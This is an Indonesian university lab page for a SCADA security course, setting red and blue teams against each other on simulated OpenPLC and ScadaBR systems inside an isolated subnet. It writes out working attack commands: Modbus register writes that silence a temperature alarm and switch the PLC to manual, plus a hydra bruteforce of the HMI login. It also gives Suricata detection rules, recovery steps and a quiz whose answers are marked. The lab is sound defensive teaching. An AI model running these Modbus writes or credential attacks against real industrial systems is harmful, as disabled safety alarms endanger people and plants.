← INDEX
IF1603 — KEAMANAN SCADA
SESI 15 / 16
⚔ SESI 15 — HANDS-ON LAB

Simulasi Serangan & Pertahanan:
Red Team vs Blue Team ICS

Praktikum akhir semester: mahasiswa dibagi menjadi Red Team (penyerang) dan Blue Team (pembela). Menggunakan environment virtual yang mensimulasikan sistem SCADA industri dengan OpenPLC dan ScadaBR — semua aktivitas terbatas pada jaringan lab terisolasi.

RED TEAM — ATTACKER BLUE TEAM — DEFENDER NMAP OT RECON MODBUS EXPLOITATION SURICATA IDS WIRESHARK FORENSIK IR DRILL
15.1Setup Lab Environment

Lab ini menggunakan environment virtual yang terisolasi penuh. Semua serangan hanya boleh dilakukan di dalam subnet lab 192.168.100.0/24.

⛔ PERINGATAN ETIKA DAN HUKUM

Semua teknik yang dipelajari hanya boleh dipraktikkan di environment yang diizinkan secara eksplisit. Melakukan eksploitasi terhadap sistem SCADA nyata tanpa izin melanggar UU ITE Pasal 30 dan dapat dikenai pidana. Tanda tangan formulir persetujuan lab wajib sebelum mulai.

KOMPONENSPESIFIKASIFUNGSI
Attacker VMKali Linux 2024.1, RAM 4GBRed Team: nmap, Wireshark, Metasploit, mbtget
OpenPLC SimulatorOpenPLC Runtime v3Simulasi PLC dengan register Modbus TCP port 502
ScadaBR HMIScadaBR 1.0 / Ignition EdgeHMI terhubung ke OpenPLC via Modbus
Defender VMUbuntu 22.04, RAM 4GBBlue Team: Suricata IDS, Wireshark, log analysis
Virtual Switch SPANGNS3 / EVE-NG mirror portBlue Team monitor semua traffic OT lab secara pasif
15.2Rules of Engagement
⚔ RED TEAM — ATTACKER
Aturan Red Team
BOLEH:
✓ Scan subnet 192.168.100.0/24
✓ Enumerate service Modbus, HTTP
✓ Eksploitasi target yang ditentukan
✓ Baca/tulis register Modbus PLC lab
✓ Capture traffic jaringan lab

TIDAK BOLEH:
✗ Scan di luar subnet lab
✗ DoS/flood yang merusak lab
✗ Gunakan zero-day nyata
✗ Akses fisik di luar VM yang ditentukan
🛡 BLUE TEAM — DEFENDER
Aturan Blue Team
BOLEH:
✓ Monitor traffic via SPAN port
✓ Deploy dan konfigurasi Suricata rules
✓ Block IP attacker via iptables
✓ Analisis log dan alert IDS
✓ Restore setpoint PLC yang dimanipulasi

TIDAK BOLEH:
✗ Shutdown VM Red Team
✗ Modifikasi mesin Red Team
✗ Nonaktifkan lab network
✗ Gunakan tools offensive dari Blue Team VM
📋 DELIVERABLE YANG HARUS DIKUMPULKAN
  • Red Team: Laporan penetration test — temuan, bukti screenshot, attack path, dan rekomendasi. Min. 5 halaman PDF.
  • Blue Team: Laporan incident response — alert terdeteksi, timeline serangan dari PCAP, tindakan containment dan recovery. Min. 5 halaman PDF.
  • Kedua Tim: Presentasi 10 menit — Red Team presentasi attack path, Blue Team presentasi detection & response.
15.3Topologi Jaringan Lab
◈ TOPOLOGI JARINGAN LAB IF1603 — SESI 15 ◈
╔═══════════════════════════════════════════╗ ║ LAB NETWORK: 192.168.100.0/24 ║ ║ ║ ║ ┌─────────────────────────────────────┐ ║ ║ │ VIRTUAL SWITCH (SPAN aktif) │ ║ ║ └──┬──────────┬──────────┬────────────┘ ║ ║ │ │ │ ║ ║ [.10] [.20] [.30] [.40] ║ ║ KALI OpenPLC ScadaBR UBUNTU ║ ║ LINUX Runtime HMI Defender ║ ║ Red Team Port:502 Port:80 Blue Team ║ ║ Modbus HTTP Suricata ║ ╚═══════════════════════════════════════════╝ .10 = Kali Linux (Attacker / Red Team) .20 = OpenPLC (Target PLC — Modbus TCP) .30 = ScadaBR (Target HMI — HTTP) .40 = Ubuntu (Defender / Blue Team)
15.4Lab A: Reconnaissance OT Network

Red Team memetakan aset dan layanan. Blue Team mendeteksi scanning. Klik task untuk lihat detail perintah.

LAB A-1 Network Discovery — Temukan host aktif RED TEAM
KALI LINUX
# Ping sweep — temukan semua host aktif
$ nmap -sn 192.168.100.0/24
Host: 192.168.100.20 — Up   ← PLC Target!
Host: 192.168.100.30 — Up   ← HMI Target!

# Service scan ke PLC
$ nmap -sV -p 502,8080 192.168.100.20
502/tcp  open  modbus  Modbus TCP (OpenPLC v3)  ← NO AUTH!
🛡 BLUE TEAM — DETEKSI

Suricata rule untuk deteksi scan: alert tcp any any -> 192.168.100.0/24 any (flags:S; threshold: type threshold, track by_src, count 15, seconds 5; msg:"OT PORT SCAN"; sid:1000001;)

LAB A-2 Modbus Enumeration — Baca semua register PLC RED TEAM
MODBUS READ
$ mbtget -r1 -a0 -c10 192.168.100.20
REG[0] = 1234   ← Setpoint suhu (123.4°C)
REG[1] = 856    ← Tekanan (mbar)
REG[2] = 1      ← Status valve V01 (OPEN)
REG[5] = 2100   ← Alarm suhu tinggi (210.0°C)
REG[7] = 1      ← Mode (1=AUTO)
⚠ Semua data proses terbaca tanpa autentikasi apapun!
15.5Lab B: Modbus Exploitation

Red Team memanipulasi register PLC — mensimulasikan serangan seperti insiden PDAM Oldsmar (Florida, 2021) di mana attacker mengubah dosis bahan kimia via SCADA.

LAB B-1 Setpoint Manipulation — Sabotase alarm suhu RED TEAM
MODBUS WRITE ATTACK
# Naikkan alarm suhu tinggi 210°C → 999.9°C (alarm tidak akan bunyi!)
$ mbtget -w5 -a5 -v9999 192.168.100.20
Response: OK — Written successfully (tanpa autentikasi!)

# Switch dari AUTO ke MANUAL (bypass kontrol otomatis)
$ mbtget -w5 -a7 -v0 192.168.100.20
REG[7] = 0 ← Proses sekarang di MANUAL — tidak ada auto safety!

⚠ Di sistem nyata: proses bisa overheat tanpa operator tahu!
🛡 BLUE TEAM — DETEKSI

Alert Modbus FC06 Write dari IP tidak dikenal: alert tcp !192.168.100.30 any -> 192.168.100.20 502 (content:"|06|"; offset:7; depth:1; msg:"UNAUTHORIZED MODBUS WRITE"; sid:1000002;)

LAB B-2 HMI Login Attack — Bruteforce default credentials RED TEAM
HYDRA BRUTEFORCE
$ hydra -l admin -P /usr/share/wordlists/ics-passwords.txt \
    http-post-form "192.168.100.30:8080/login:user=^USER^&pass=^PASS^:Invalid"

[8080][http-post-form] login: admin   password: admin
1 valid password found!
⚠ Default credential admin:admin memberikan akses penuh ke SCADA!
15.6Lab C: Defense & Detection
LAB C-1 Deploy Suricata OT Rules BLUE TEAM
SURICATA IDS — CUSTOM OT RULES
# /etc/suricata/rules/ics-lab.rules

# Deteksi port scan ke OT network
alert tcp any any -> 192.168.100.0/24 any (
  msg:"OT PORT SCAN DETECTED"; flags:S;
  threshold: type threshold, track by_src, count 15, seconds 5;
  sid:1000001;)

# Modbus write dari host tidak dikenal
alert tcp !192.168.100.30 any -> 192.168.100.20 502 (
  msg:"UNAUTHORIZED MODBUS WRITE"; content:"|06|"; offset:7; depth:1;
  sid:1000002;)

# Bruteforce login HMI
alert http any any -> 192.168.100.30 8080 (
  msg:"HMI BRUTEFORCE"; content:"Invalid"; http_server_body;
  threshold: type threshold, track by_src, count 5, seconds 30;
  sid:1000004;)

$ sudo systemctl restart suricata
$ sudo tail -f /var/log/suricata/fast.log

[**] OT PORT SCAN DETECTED          .10 → .20 (burst)
[**] UNAUTHORIZED MODBUS WRITE      .10 → .20:502
[**] HMI BRUTEFORCE                 .10 → .30:8080 (23x)
LAB C-2 Containment & Recovery — Isolasi dan restore BLUE TEAM
CONTAINMENT & RECOVERY
# Block attacker di firewall
$ sudo iptables -I FORWARD -s 192.168.100.10 -d 192.168.100.20 -j DROP
Attacker diisolasi dari PLC ✓

# Restore setpoint yang dimanipulasi
$ mbtget -w5 -a5 -v2100 192.168.100.20
REG[5] = 2100  ← Alarm suhu dipulihkan ke 210°C ✓
$ mbtget -w5 -a7 -v1 192.168.100.20
REG[7] = 1     ← Mode kembali AUTO ✓

# Verifikasi sistem normal
$ mbtget -r1 -a5 -c1 192.168.100.20
REG[5] = 2100  ✓ Recovery berhasil!
LAB C-3 Wireshark Forensik — Rekonstruksi timeline serangan RED & BLUE
WIRESHARK — PCAP ANALYSIS
# Filter Wireshark:
modbus.func_code == 6   ← write single register
ip.src == 192.168.100.10 ← traffic dari attacker

# Rekonstruksi timeline dari PCAP:
22:34:01  .10 → .20:502  Modbus FC03 Read Regs 0-9   (enumeration)
22:34:15  .10 → .20:502  Modbus FC06 Write Reg[5]=9999 (SERANGAN!)
22:34:17  .10 → .20:502  Modbus FC06 Write Reg[7]=0   (SERANGAN!)
22:35:42  .10 → .30:8080 HTTP POST admin:admin         (BRUTEFORCE OK)

→ Timeline serangan berhasil direkonstruksi dari PCAP!
15.7Scoring & Post-Lab Debrief
📊 SCORING MATRIX LAB SESI 15 TOTAL: 100 POIN
#TASKREDBLUE
1Discover semua host di lab network10
2Enumerate register Modbus PLC10
3Manipulasi setpoint alarm PLC15
4Login HMI via default credential15
5Deploy IDS rules + deteksi port scan10
6Deteksi Modbus write anomali <2 menit15
7Containment + restore setpoint15
8Rekonstruksi timeline dari PCAP10
9Laporan & presentasi (kualitas analisis)2525
💡 PELAJARAN UTAMA DARI LAB INI
  • Modbus tanpa autentikasi — Siapapun di jaringan bisa read/write register PLC. Solusi: network segmentation + Modbus/TLS proxy.
  • Default credentials adalah dosa terbesar — admin:admin membuka akses penuh SCADA dalam detik. Wajib ganti sebelum commissioning.
  • Passive monitoring efektif — SPAN port + Suricata mendeteksi serangan tanpa mengganggu jaringan OT sedikitpun.
  • PCAP adalah truth serum — Wireshark merekonstruksi timeline serangan dengan presisi per detik.
  • Defense-in-Depth nyata — Segmentasi mencegah akses, auth mencegah write, IDS mendeteksi, IR merespons. Semua lapisan diperlukan.
Lab Terminal Simulator

Simulasi terminal interaktif untuk latihan. Ketik help untuk daftar perintah.

LAB TERMINAL — 192.168.100.10 (Kali Linux)
╔══════════════════════════════════════╗
║ IF1603 LAB TERMINAL SIMULATOR v1.0 ║
╚══════════════════════════════════════╝
Ketik help untuk daftar perintah.
root@kali:~#
Refleksi Lab — Sesi 15
■ REFLEKSI 1 / 5
1. Mengapa Modbus TCP memungkinkan siapapun di jaringan yang sama membaca dan menulis register PLC tanpa autentikasi?
AKarena Modbus masih dalam tahap pengembangan
BKarena Modbus dirancang 1979 untuk jaringan serial tertutup — autentikasi tidak diperlukan karena keamanan diasumsikan dari isolasi fisik jaringan, bukan dari protokol
CKarena vendor PLC sengaja menonaktifkan keamanan untuk kemudahan maintenance
DKarena standar IEC melarang enkripsi di level protokol lapangan
Benar! Modbus (1979) dirancang untuk jaringan serial RS-485 tertutup — hanya device yang terhubung fisik ke kabel yang bisa berkomunikasi. Tidak ada yang membayangkan protokol ini akan terekspos ke TCP/IP terbuka. Ketika Modbus TCP diadaptasi untuk Ethernet, payload-nya dipertahankan identik, termasuk ketiadaan autentikasi.
■ REFLEKSI 2 / 5
2. Keunggulan utama metode "passive monitoring" dengan SPAN port yang digunakan Blue Team dibanding active scanning adalah...
APassive monitoring lebih murah dari sisi lisensi
BPassive monitoring tidak mengirimkan traffic apapun ke jaringan OT — tidak ada risiko mengganggu PLC atau menginterupsi komunikasi real-time yang sensitif terhadap timing
CPassive monitoring mendeteksi lebih banyak jenis serangan
DPassive monitoring lebih mudah dikonfigurasi oleh tim IT
Benar! Passive monitoring hanya "mendengarkan" — tidak ada packet yang dikirim ke jaringan OT. Ini kritis karena banyak PLC lama sangat sensitif: paket probe dari active scanner bisa menyebabkan PLC hang atau restart. Passive monitoring memberikan visibilitas penuh tanpa risiko apapun terhadap proses yang sedang berjalan.
■ REFLEKSI 3 / 5
3. Serangan manipulasi setpoint alarm suhu (Lab B-1) berbahaya justru karena...
ASistem langsung overheat karena setpoint diubah
BAlarm tidak akan bunyi meski suhu sudah melewati batas aman — operator tidak tahu proses dalam kondisi berbahaya, tidak ada tindakan pencegahan yang diambil
CPLC otomatis shutdown karena mendeteksi nilai tidak valid
DNilai setpoint terlalu tinggi diabaikan oleh PLC
Benar! Serangan ini tersembunyi — proses berjalan "normal" dari sudut pandang PLC, tapi tanpa proteksi alarm. Suhu bisa naik melewati 210°C tanpa alarm berbunyi karena ambang sudah dipindah ke 999°C. Operator merasa semua baik-baik saja. Ini mirip teknik Stuxnet yang menyembunyikan kondisi berbahaya dari operator.
■ REFLEKSI 4 / 5
4. Langkah pertama yang benar setelah Suricata alert "UNAUTHORIZED MODBUS WRITE" adalah...
ALangsung matikan PLC untuk mencegah manipulasi lebih lanjut
BTriage: verifikasi alert, cek status proses fisik apakah aman, identifikasi register yang dimodifikasi dari log — baru tentukan tindakan containment yang tepat
CLangsung blokir semua IP tanpa investigasi lebih lanjut
DHubungi vendor PLC untuk meminta patch keamanan
Benar! Triage dulu — mematikan PLC tiba-tiba bisa lebih berbahaya dari serangan itu sendiri. Triage: (1) Konfirmasi ini bukan false positive; (2) Cek register mana yang dimodifikasi dan dampaknya; (3) Konfirmasi proses fisik masih aman; (4) Baru eksekusi containment tepat — blokir IP, restore setpoint.
■ REFLEKSI 5 / 5
5. Dari keseluruhan lab ini, kontrol keamanan MANA yang paling efektif mencegah serangan Red Team?
AAntivirus di PLC Simulator
BKombinasi Defense-in-Depth: (1) Segmentasi — Kali tidak seharusnya reach port 502 PLC; (2) Modbus auth (SAv5/TLS) — write tanpa auth tidak bisa; (3) Ganti default credential HMI; (4) OT IDS — deteksi scan dan write anomali
CEnkripsi hard drive PLC
DFirewall perimeter internet sudah cukup
Benar! Defense-in-Depth yang berjenjang: segmentasi mencegah akses langsung, auth mencegah write tidak sah, credential kuat mencegah bruteforce, IDS memberi waktu respons. Satu kontrol saja tidak cukup — ini adalah inti Sesi 6 (Defense-in-Depth) yang kini terlihat dalam praktik nyata.
← SESI 14
SESI 15 / 16 — HANDS-ON LAB: RED TEAM vs BLUE TEAM
SESI 16 →